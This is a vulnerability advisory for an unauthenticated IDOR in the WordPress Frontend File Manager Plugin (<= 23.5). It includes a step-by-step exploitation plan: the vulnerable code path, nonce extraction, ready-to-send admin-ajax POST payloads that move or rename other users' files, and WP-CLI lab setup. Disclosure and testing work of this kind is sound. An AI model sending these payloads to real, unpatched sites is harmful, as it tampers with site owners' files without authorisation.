Frontend File Manager Plugin <= 23.5 - Unauthenticated Insecure Direct Object Reference
Description
The Frontend File Manager Plugin plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 23.5 due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=23.5What Changed in the Fix
Changes introduced in v23.6
Source Code
WordPress.org SVN### 1. Vulnerability Summary The **Frontend File Manager Plugin (<= 23.5)** is vulnerable to an **Insecure Direct Object Reference (IDOR)**. The vulnerability exists because several AJAX callback functions registered for unauthenticated users (via the `wp_ajax_nopriv_` hook) do not perform sufficien…
Show full research plan
1. Vulnerability Summary
The Frontend File Manager Plugin (<= 23.5) is vulnerable to an Insecure Direct Object Reference (IDOR). The vulnerability exists because several AJAX callback functions registered for unauthenticated users (via the wp_ajax_nopriv_ hook) do not perform sufficient authorization checks on the object being modified.
Specifically, the function nm_uploadfile_move_file (and potentially wpfm_edit_file_title_desc) fails to verify that the user requesting a change to a file (identified by a user-supplied file_id) has the permission to modify that specific file. In nm_uploadfile_move_file, if the "Guest Upload" setting is enabled, the code explicitly skips author validation, allowing any unauthenticated user to move any file (even private admin files) to any other directory.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
nm_uploadfile_move_file - Vulnerable Parameter:
file_id(The IDOR key) andparent_id(The target directory). - Authentication: Unauthenticated (if guest uploads are enabled) or Low-Privileged.
- Preconditions:
- The plugin setting
wpfm_allow_guest_uploadmust be set toyes(common in environments where the plugin is used for public submissions). - The attacker needs the
post_idof a target file.
- The plugin setting
3. Code Flow
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwithaction=nm_uploadfile_move_file. - Hook Registration: In
inc/arrays.php,wpfm_array_get_ajax_callbacks()returns"nm_uploadfile_move_file" => true. Thistruevalue causes the plugin to register bothwp_ajax_nm_uploadfile_move_fileandwp_ajax_nopriv_nm_uploadfile_move_file(ininc/hooks.php). - Vulnerable Function: The execution hits
nm_uploadfile_move_file()ininc/callback-functions.php. - Bypassed Check:
If$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false; if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) { wp_send_json_error(__("Sorry, not allowed", "wpfm")); }_allow_guest_uploadisyes, the entire authorization block is bypassed. - The Sink: The function takes
$_REQUEST['file_id']and$_REQUEST['parent_id']and callswp_update_post():
This updates the parent of any arbitrary WordPress post ID, provided the post type is compatible.$result = array( 'ID' => $file_id, 'post_parent' => $dir_id ); $post_id = wp_update_post( $result, true );
4. Nonce Acquisition Strategy
While the source code provided for 23.5 shows the nonce check is commented out in nm_uploadfile_move_file, it is best practice to provide a strategy in case it is enforced in a specific build.
- Identify Shortcode: The plugin uses the shortcode
[ffmwp]. - Create Trigger Page: Create a public page containing this shortcode to force the plugin to enqueue its scripts and localizes its variables.
wp post create --post_type=page --post_title="File Manager" --post_status=publish --post_content='[ffmwp]' - Extract Nonce: Navigate to the new page and extract the nonce from the
wpfm_file_varsorwpfm_ajax_nonceobject.- Variable:
window.wpfm_file_vars(inferred from common plugin patterns) or check forwpfm_ajax_noncein the HTML. - JS Command:
browser_eval("window.wpfm_file_vars?.wpfm_ajax_nonce")
- Variable:
5. Exploitation Strategy
We will demonstrate the IDOR by moving a "Private Admin File" into a different folder, effectively altering the file structure of the site.
Step 1: Discover File IDs
Identify a file ID and a folder ID (post IDs for the wpfm-files post type).
Step 2: Send Exploitation Request
Send the following POST request via the http_request tool:
- URL:
http://<target>/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=nm_uploadfile_move_file&file_id=<TARGET_FILE_ID>&parent_id=<NEW_FOLDER_ID>&wpfm_ajax_nonce=<NONCE>
6. Test Data Setup
Perform the following via WP-CLI to prepare the environment:
- Enable Guest Upload:
# Setting the option directly in the settings array wp option patch insert wpfm_settings wpfm_allow_guest_upload yes - Create a Folder (Parent):
wp post create --post_type=wpfm-files --post_title="Target Folder" --post_status=publish --post_author=1 - Create a File (to be moved):
wp post create --post_type=wpfm-files --post_title="Sensitive File" --post_status=publish --post_author=1 - Create a Public Page:
wp post create --post_type=page --post_title="Upload" --post_status=publish --post_content='[ffmwp]'
7. Expected Results
- Response: The server should return a JSON success message:
{"success":true,"data":{"message":"File is move successfully", ...}} - Database Change: The
post_parentcolumn of thewpfm-filespost identified byfile_idwill be updated to theparent_id.
8. Verification Steps
After sending the HTTP request, verify the IDOR via WP-CLI:
# Check if the parent_id has changed for the sensitive file
wp post get <FILE_ID> --field=post_parent
If the output matches <NEW_FOLDER_ID>, the exploit is successful.
9. Alternative Approaches
If nm_uploadfile_move_file is patched or behaves differently, target wpfm_edit_file_title_desc:
- Action:
wpfm_edit_file_title_desc - Payload:
action=wpfm_edit_file_title_desc&file_id=<ID>&file_title=HackedByIDOR&file_content=NewDescription - Verification:
wp post get <ID> --field=post_title
The logic is identical: unauthenticated access via nopriv hook + missing validation of the file_id owner.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.